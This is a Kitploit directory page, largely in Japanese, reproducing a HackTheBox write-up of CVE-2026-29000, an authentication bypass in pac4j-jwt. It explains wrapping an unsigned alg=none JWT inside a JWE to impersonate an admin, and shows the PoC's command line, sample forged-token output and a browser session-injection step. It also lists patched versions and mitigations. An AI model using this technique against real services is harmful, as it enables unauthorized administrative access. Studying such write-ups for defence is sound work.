Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-29000-pac4j-jwt-auth-bypass — Proof-of-Concept (PoC) for an authentication bypass vulnerability affecting applications using pac4j-jwt with JWE (JSON Web Encryption). | Kitploit
ツール/GitHubGitHub/ptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass
脆弱性分析エクスプロイトウェブセキュリティCTFペネトレーションテスト認証
GitHubptechamanja/cve-2026-29000-pac4j-jwt-auth-bypass

CVE-2026-29000-pac4j-jwt-auth-bypass

Proof-of-Concept (PoC) for an authentication bypass vulnerability affecting applications using pac4j-jwt with JWE (JSON Web Encryption).

リポジトリを見る
175ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HTB Principal — CVE-2026-29000 ライトアップ

免責事項: このエクスプロイトは、引退したHackTheBoxマシン「Principal」専用に開発されたものです。教育目的のみに使用してください。所有していない、または明示的な許可を得ていないシステムに対して使用しないでください。

マシン情報

フィールド詳細
名前Principal
プラットフォームHackTheBox
難易度—
ステータス引退済み

脆弱性 — CVE-2026-29000

影響を受けるライブラリ: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
深刻度: 重大
タイプ: 認証バイパス

概要

JwtAuthenticator のロジック上の欠陥により、攻撃者は署名のない PlainJWT(alg=none)をJWE(暗号化JWT)内にラップすることで認証をバイパスできます。

サーバーがJWEを復号すると、内部トークンを SignedJWT として解析しようとします。内部トークンが PlainJWT であるため、SignedJWT オブジェクトはnullとなり、署名検証は完全にスキップされます。その後、サーバーは検証されていないクレームからユーザープロファイルを構築するため、管理者を含む任意のユーザーへの完全ななりすましが可能になります。

攻撃要件

  • サーバーのRSA公開鍵(多くの場合JWKSエンドポイント経由で公開)
  • 内部クレーム名の知識(例: ロール、サブジェクト形式)

エクスプロイトの流れ

root@kitploit:~
悪意のあるクレームを作成(sub=admin、role=ROLE_ADMIN)
        ↓
署名のないPlainJWT(alg=none)を構築
        ↓
サーバーのRSA公開鍵を使用してPlainJWTをJWE内にラップ
        ↓
JWEトークンをサーバーに送信
        ↓
サーバーがJWEを復号 → PlainJWTを検出 → 署名チェックをスキップ → アクセスを許可

エクスプロイト

exploit.py を参照


修正

pac4j-jwt をパッチ適用済みバージョンにアップグレード:

  • 4.5.9 以降
  • 5.7.9 以降
  • 6.3.3 以降

または、JWE復号後に PlainJWT 内部トークンを明示的に拒否:

root@kitploit:~
if (jwt instanceof PlainJWT) {
    throw new CredentialsException("PlainJWT not allowed inside JWE");
}

⚙️ 攻撃フロー

  1. 公開鍵を取得:
root@kitploit:~

/api/auth/jwks

  1. 悪意のあるJWTを作成:
  • alg: none
  • 管理者ロールを注入
  1. 公開鍵を使用してJWE内にラップ

  2. 送信:

root@kitploit:~

Authorization: Bearer <token>

  1. 不正アクセスを獲得

🛠️ PoCの使用方法

依存関係のインストール

root@kitploit:~
pip install jwcrypto requests

エクスプロイトの実行

root@kitploit:~
python3 poc.py \
--jwks-url http://target/api/auth/jwks \
--target http://target/api/dashboard

📤 出力例

root@kitploit:~
[+] Forged Token:
eyJhbGciOiJSU0EtT0FFUC0yNTYi...

[+] Browser Injection:
sessionStorage.setItem("auth_token", "eyJhbGciOiJSU0EtT0FFUC0yNTYi...")

[+] Status: 200
{"user":{"username":"admin","role":"ROLE_ADMIN"}}

🌐 ブラウザでの悪用

DevTools → コンソールを開く:

root@kitploit:~
sessionStorage.setItem("auth_token", "<PASTE_TOKEN_HERE>")

次に、以下の場所に移動:

root@kitploit:~
/dashboard

🔥 影響

  • 完全な認証バイパス
  • 管理者への権限昇格
  • 不正なAPIアクセス
  • 潜在的な横方向の移動

🛡️ 緩和策

  • 復号後は常にJWT署名(JWS)を検証
  • alg: none のトークンを拒否
  • 厳格なトークン検証ポリシーを適用
  • 信頼のために暗号化のみに依存しない

👤 著者

  • Doomsknight

参考

  • pac4j セキュリティアドバイザリ
  • HackTheBox
ツールをダウンロード